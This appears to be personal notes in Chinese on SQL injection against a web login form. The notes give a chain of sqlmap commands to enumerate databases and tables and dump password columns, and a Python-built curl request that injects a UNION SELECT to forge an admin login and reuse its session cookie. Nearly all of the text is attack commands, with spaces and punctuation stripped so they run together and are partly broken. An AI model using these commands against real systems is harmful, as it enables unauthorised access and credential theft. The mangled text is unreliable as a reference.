注入测试找到登录接口判别字段username password然后输入指令python sqlmap.py-uhttps://xxx--datausernametestpasswordtest--batch--level5--risk3--threads4--force-ssl --flush-session查看有哪些库表python sqlmap.py-uhttps://xxx--datausernametestpasswordtest--batch--level5--risk3--threads4--force-ssl --flush-session根据数据库查看表中的列python sqlmap.py-uhttps:/xxx--datausernametestpasswordtest--batch--level5--risk3--threads4--force-ssl --flush-session查看数据库密码字段python sqlmap.py-uhttps://xxxx--datausernametestpasswordtest--batch--dbmssqlite--level5--risk3-pusername--threads4-Tpasswd-C字段1,字段2,字段3,....--dump等效替代importhashlib targettest123result_hash,.join(str(ord(c))forcinhashlib.md5(target.encode()).hexdigest())print(fcurl -sk -c cookie.txt\https://xxx\--data-urlencode\usernamex\\\UNION SELECT 1,CHAR(97,100,109,105,110),CHAR({result_hash}),CHAR(31995,32479,31649,29702,21592),NULL,NULL-- x\--data-urlencode\password{target}\)为什么 x\\\查看设备信息curl-sk-bcookies.txthttps://xxxx